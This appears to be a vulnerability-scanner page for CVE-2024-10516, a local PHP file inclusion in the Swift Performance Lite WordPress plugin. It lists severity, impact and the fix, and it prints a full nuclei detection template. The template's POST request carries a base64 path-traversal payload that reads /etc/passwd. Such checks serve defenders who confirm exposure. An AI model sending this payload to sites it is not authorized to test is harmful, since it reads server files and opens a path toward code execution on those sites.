Swift Performance Lite < 2.3.7.2 - Local PHP File Inclusion

highseverity

9.8CVSS score

6.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in Swift Performance Lite before version 2.3.7.2 allows unauthenticated attackers to perform local PHP file inclusion via the 'ajaxify' parameter. This can lead to arbitrary code execution on the server.

Impact

Unauthenticated attackers can perform local PHP file inclusion via the ajaxify parameter to execute arbitrary code, potentially compromising the entire WordPress site.

Fix

Update Swift Performance Lite plugin to version 2.3.7.2 or later.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/swift-performance-lite"
Send: POST /wp-admin/admin-ajax.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-10516 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-10516

info:
  name: Swift Performance Lite < 2.3.7.2 - Local PHP File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in Swift Performance Lite before version 2.3.7.2 allows unauthenticated attackers to perform local PHP file inclusion via the 'ajaxify' parameter. This can lead to arbitrary code execution on the server.
  impact: |
    Unauthenticated attackers can perform local PHP file inclusion via the ajaxify parameter to execute arbitrary code, potentially compromising the entire WordPress site.
  remediation: |
    Update Swift Performance Lite plugin to version 2.3.7.2 or later.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-10516
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10516
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10516
    cwe-id: CWE-98
    epss-score: 0.06436
    epss-percentile: 0.93773
    cpe: cpe:2.3:a:swiftperformance:swift_performance_lite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: swiftperformance
    product: swift_performance_lite
    fofa-query: body="/wp-content/plugins/swift-performance-lite"
  tags: cve,cve2024,wp,wp-plugin,wordpress,swift-performance,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/swift-performance-lite"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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